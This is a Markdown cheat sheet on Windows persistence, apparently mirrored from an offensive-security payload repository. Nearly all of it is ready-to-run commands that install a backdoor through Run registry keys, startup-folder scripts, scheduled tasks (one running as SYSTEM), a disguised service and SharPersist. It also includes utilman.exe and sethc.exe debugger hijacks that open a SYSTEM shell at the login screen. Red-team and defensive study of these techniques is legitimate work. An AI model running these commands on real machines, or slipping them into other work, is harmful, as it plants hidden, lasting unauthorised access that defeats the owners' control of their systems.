mirror of
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141 lines
4.1 KiB
Markdown
141 lines
4.1 KiB
Markdown
# Windows - Persistence
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## Summary
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* [Tools](#tools)
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* [Userland](#userland)
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* [Registry](#registry)
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* [Startup](#startup)
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* [Scheduled Task](#scheduled-task)
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* [Elevated](#elevated)
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* [HKLM](#hklm)
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* [Services](#services)
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* [Scheduled Task](#scheduled-task)
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* [RDP Backdoor](#rdp-backdoor)
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* [References](#references)
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## Tools
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- [SharPersist - Windows persistence toolkit written in C#. - @h4wkst3r](https://github.com/fireeye/SharPersist)
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## Userland
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### Registry
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Create a REG_SZ value in the Run key within HKCU\Software\Microsoft\Windows.
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```powershell
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Value name: Backdoor
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Value data: C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
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```
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Using SharPersist
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```powershell
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SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
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SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
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SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add
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```
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### Startup
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Create a batch script in the user startup folder.
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```powershell
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PS C:\> gc C:\Users\Rasta\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.bat
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start /b C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
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```
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Using SharPersist
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```powershell
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SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
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```
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### Scheduled Task
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```powershell
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PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe"
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PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta"
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PS C:\> $P = New-ScheduledTaskPrincipal "Rasta"
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PS C:\> $S = New-ScheduledTaskSettingsSet
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PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
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PS C:\> Register-ScheduledTask Backdoor -InputObject $D
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```
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Using SharPersist
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```powershell
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# Add to a current scheduled task
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SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
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# Add new task
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SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
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SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
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```
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## Windows Service
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Using SharPersist
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```powershell
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SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
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```
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## Elevated
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### HKLM
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Similar to HKCU. Create a REG_SZ value in the Run key within HKLM\Software\Microsoft\Windows.
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```powershell
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Value name: Backdoor
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Value data: C:\Windows\Temp\backdoor.exe
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```
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### Services
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Create a service that will start automatically or on-demand.
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```powershell
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PS C:\> New-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -Description "Nothing to see here."
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```
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### Scheduled Tasks
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Scheduled Task to run as SYSTEM, everyday at 9am.
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```powershell
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PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Windows\Temp\backdoor.exe"
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PS C:\> $T = New-ScheduledTaskTrigger -Daily -At 9am
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PS C:\> $P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
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PS C:\> $S = New-ScheduledTaskSettingsSet
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PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
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PS C:\> Register-ScheduledTask Backdoor -InputObject $D
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```
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### RDP Backdoor
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#### utilman.exe
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At the login screen, press Windows Key+U, and you get a cmd.exe window as SYSTEM.
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```powershell
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REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /f
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```
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#### sethc.exe
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Hit F5 a bunch of times when you are at the RDP login screen.
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```powershell
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REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /f
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```
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## References
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* [A view of persistence - Rastamouse](https://rastamouse.me/2018/03/a-view-of-persistence/)
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* [Windows Persistence Commands - Pwn Wiki](http://pwnwiki.io/#!persistence/windows/index.md)
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* [SharPersist Windows Persistence Toolkit in C - Brett Hawkins](http://www.youtube.com/watch?v=K7o9RSVyazo) |